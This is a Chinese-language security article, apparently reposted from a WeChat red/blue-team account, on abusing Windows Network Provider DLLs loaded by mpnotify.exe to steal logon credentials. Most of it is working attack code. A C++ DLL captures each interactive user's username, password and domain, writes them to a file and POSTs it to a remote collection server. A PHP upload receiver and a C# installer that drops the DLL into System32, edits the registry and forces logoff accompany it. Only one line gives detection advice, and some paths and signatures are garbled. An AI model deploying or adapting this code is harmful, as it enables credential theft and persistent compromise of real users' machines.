0x01 前言
mpnotify.exe进程是由Windows多供应商路由组件MPR(Multiple Provider Router)创建的,该组件用于处理和路由网络请求。
这个进程用于管理在系统启动时运行的网络服务,同时还负责处理用户登录时的网络连接。
它会帮助认证用户信息,并且在成功连接网络后,继续监视网络连接的状态。
0x02 技术原理
网络提供者API(NP API)是一套由操作系统提供给开发者的工具集,开发者可使用这些工具来创建与特定网络环境相兼容的应用程序。换句话说,它是一个桥梁,连接了应用程序和操作系统级别的网络服务。开发者可以通过这个API来实现像连接或断开网络这样的网络操作。
DWORD NPGetCaps(
DWORD nIndex
);
nIndex = WNNC_SPEC_VERSION(0x00000001),这表示网络提供者需要指明其遵循的规范或协议版本,返回WNNC_SPEC_VERSION51(0x00050001),表明此网络提供者支持5.1版本的规范。
nIndex = WNNC_NET_TYPE (0x00000002)表示询问网络类型,返回 WNNC_CRED_MANAGER (0xFFFF0000)表明此提供者是一个凭据管理器。
nIndex = WNNC_START(0x0000000C)表示询问网络提供者启动的状态,返回WNNC_WAIT_FOR_START(0x00000001)表示网络提供者正在等待启动。
DWORD APIENTRY NPLogonNotify(
lpLogon,
lpAuthentInfoType,
lpAuthentInfo,
lpPreviousAuthentInfoType,
lpPreviousAuthentInfo,
PLUID
LPCWSTR
LPVOID
LPCWSTR
LPVOID
LPWSTR
LPVOID
LPWSTR
lpStationName,
StationHandle,
);
*lpLogonScript
typedef struct _MSV1_0_INTERACTIVE_LOGON
{
MSV1_0_LOGON_SUBMIT_TYPE MessageType;
UNICODE_STRING LogonDomainName;
UNICODE_STRING UserName;
UNICODE_STRING Password;
MSV1_0_INTERACTIVE_LOGON;
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNetworkProviderOrder下的ProviderOrder值,将新的网络提供者的名称追加到最后即可,不同的网络提供者名称以逗号分隔。
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices网络提供者名称(NPtest)NetworkProvider下的:
Class值,类型是REG_DWORD,值= 2,表示网络提供者是一个证书管理器;
ProviderPath值,类型是REG_EXPAND_SZ,值是指向网络提供者DLL的路径,%SystemRoot%System32NPtest.dll;
Name值,类型=REG_DWORD;
1、一个网络提供者DLL,将会被注册为恶意的网络提供者。以下代码基于https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy项目进行优化,加入了防止中文乱码、凭据外发以及获取所在域功能(也可以在凭据外发后加入上线C2的功能),VS直接编译就行(64位):
std::string readFile(const std::string& filename) {
std::ifstream file(filename, std::ios::binary);
return std::string((std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>());
}
//将获取到的凭据文件外发
void postFile(const std::string& server, const std::string& filepath, int port) {
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData); //初始化Winsock
SOCKET client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in server_addr {};
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = inet_addr(server.c_str());
connect(client, (struct sockaddr*)&server_addr, sizeof(server_addr));
std::string fileContent = readFile(filepath);
//构造http请求
std::string boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW";
std::string request =
"--" + boundary + "rn"
"Content-Disposition: form-data; name="fileToUpload"; filename="" + filepath + ""rn"
"Content-Type: application/octet-streamrnrn" +
fileContent + "rn" +
"--" + boundary + "--";
std::string headers =
"POST /upload.php HTTP/1.1rn"
"Host: " + server + "rn"
"Content-Type: multipart/form-data; boundary=" + boundary + "rn"
"Content-Length: " + std::to_string(request.size()) + "rnrn";
//发送HTTP请求头和请求体
send(client, headers.c_str(), headers.size(), 0);
send(client, request.c_str(), request.size(), 0);
char buffer[4096];
recv(client, buffer, sizeof(buffer), 0); //接收HTTP响应
printf(buffer);
closesocket(client);
WSACleanup();
}
// from npapi.h
//from ntdef.h
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
MsV1_0InteractiveLogon = 2,
MsV1_0Lm20Logon,
MsV1_0NetworkLogon,
MsV1_0SubAuthLogon,
MsV1_0WorkstationUnlockLogon = 7,
MsV1_0S4ULogon = 12,
MsV1_0VirtualLogon = 82,
MsV1_0NoElevationLogon = 83,
MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;
typedef struct _MSV1_0_INTERACTIVE_LOGON
{
MSV1_0_LOGON_SUBMIT_TYPE MessageType;
UNICODE_STRING LogonDomainName;
UNICODE_STRING UserName;
UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;
void GetPass(PUNICODE_STRING username, PUNICODE_STRING password, PUNICODE_STRING domain)
{
HANDLE hFile;
DWORD dwWritten;
hFile = CreateFile(TEXT("C:\NPtestpass.txt"),
GENERIC_WRITE,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
//将传递给getpass的unicode字符转换成ansi字符再写入文件,防止中文乱码
if (hFile != INVALID_HANDLE_VALUE)
{
SetFilePointer(hFile, 0, NULL, FILE_END);
int usernameSize = WideCharToMultiByte(CP_ACP, 0, username->Buffer, -1, NULL, 0, NULL, NULL);
char* usernameBuffer = new char[usernameSize];
WideCharToMultiByte(CP_ACP, 0, username->Buffer, -1, usernameBuffer, usernameSize, NULL, NULL);
int passwordSize = WideCharToMultiByte(CP_ACP, 0, password->Buffer, -1, NULL, 0, NULL, NULL);
char* passwordBuffer = new char[passwordSize];
WideCharToMultiByte(CP_ACP, 0, password->Buffer, -1, passwordBuffer, passwordSize, NULL, NULL);
int domainSize = WideCharToMultiByte(CP_ACP, 0, domain->Buffer, -1, NULL, 0, NULL, NULL);
char* domainBuffer = new char[domainSize];
WideCharToMultiByte(CP_ACP, 0, domain->Buffer, -1, domainBuffer, domainSize, NULL, NULL);
WriteFile(hFile, domainBuffer, domain->Length, &dwWritten, 0);
WriteFile(hFile, " -> ", strlen(" -> "), &dwWritten, 0);
WriteFile(hFile, usernameBuffer, username->Length, &dwWritten, 0);
WriteFile(hFile, " -> ", strlen(" -> "), &dwWritten, 0);
WriteFile(hFile, passwordBuffer, password->Length, &dwWritten, 0);
WriteFile(hFile, "rn", strlen("rn"), &dwWritten, 0);
delete[] usernameBuffer;
delete[] passwordBuffer;
delete[] domainBuffer;
CloseHandle(hFile);
}
}
EXTERN_C_START
__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
DWORD nIndex
)
{
switch (nIndex)
{
case WNNC_SPEC_VERSION:
return WNNC_SPEC_VERSION51;
case WNNC_NET_TYPE:
return WNNC_CRED_MANAGER;
case WNNC_START:
return WNNC_WAIT_FOR_START;
default:
return 0;
}
}
__declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
PLUID lpLogonId,
LPCWSTR lpAuthInfoType,
LPVOID lpAuthInfo,
LPCWSTR lpPrevAuthInfoType,
LPVOID lpPrevAuthInfo,
LPWSTR lpStationName,
LPVOID StationHandle,
LPWSTR* lpLogonScript
)
{
GetPass(
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password),
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName)
);
lpLogonScript = NULL;
postFile("外发服务器IP", "C:\NPtestpass.txt", 端口);
return WN_SUCCESS;
}
EXTERN_C_END
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (strpos($_FILES["fileToUpload"]["name"], 'pass.txt') !== false) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
} else {
echo "Invalid file!";
}
} else {
echo "No POST request received.";
}
using Microsoft.Win32;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace SetNP
{
class Program
{
public static void SetReg()
{
//获取当前网络提供者的排序
var orderPath = @"SYSTEMCurrentControlSetControlNetworkProviderOrder";
var orderKey = Registry.LocalMachine.OpenSubKey(orderPath, true);
var providerOrder = (string)orderKey.GetValue("PROVIDERORDER");
//在现有的网络提供者链中添加新的提供者
providerOrder += ",NPtest";
orderKey.SetValue("PROVIDERORDER", providerOrder);
orderKey.Close();
//创建网络提供者服务项
var servicePath = @"SYSTEMCurrentControlSetServicesNPtest";
Registry.LocalMachine.CreateSubKey(servicePath);
var providerPath = servicePath + @"NetworkProvider";
var providerKey = Registry.LocalMachine.CreateSubKey(providerPath);
//设置网络提供者属性
providerKey.SetValue("Class", 2);
providerKey.SetValue("Name", "NPtest");
providerKey.SetValue("ProviderPath", @"%SystemRoot%System32NPtest.dll", RegistryValueKind.ExpandString);
providerKey.Close();
}
public static void WriteNPfile()
{
byte[] bytes = new byte[] {...... };//DLL文件的字节数据
//释放网络提供者DLL文件
System.IO.File.WriteAllBytes("C:\Windows\System32\NPtest.dll", bytes);
}
}
}
public class Program
{
public static void Main()
{
SetNP.Program.WriteNPfile();
SetNP.Program.SetReg();
//注销计算机
Process.Start("shutdown", "/l");
}
}
C盘下的凭据文件:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNetworkProviderOrder
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices<NetworkProviderName>NetworkProvider
3、监控mpnotify.exe进程异常的DLL加载(例如加载的DLL文件没有签名)、网络访问、文件释放等行为。
原文始发于微信公众号(红蓝攻防研究实验室):ATT&CK框架更新跟踪-凭据访问之Network Provider DLL
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论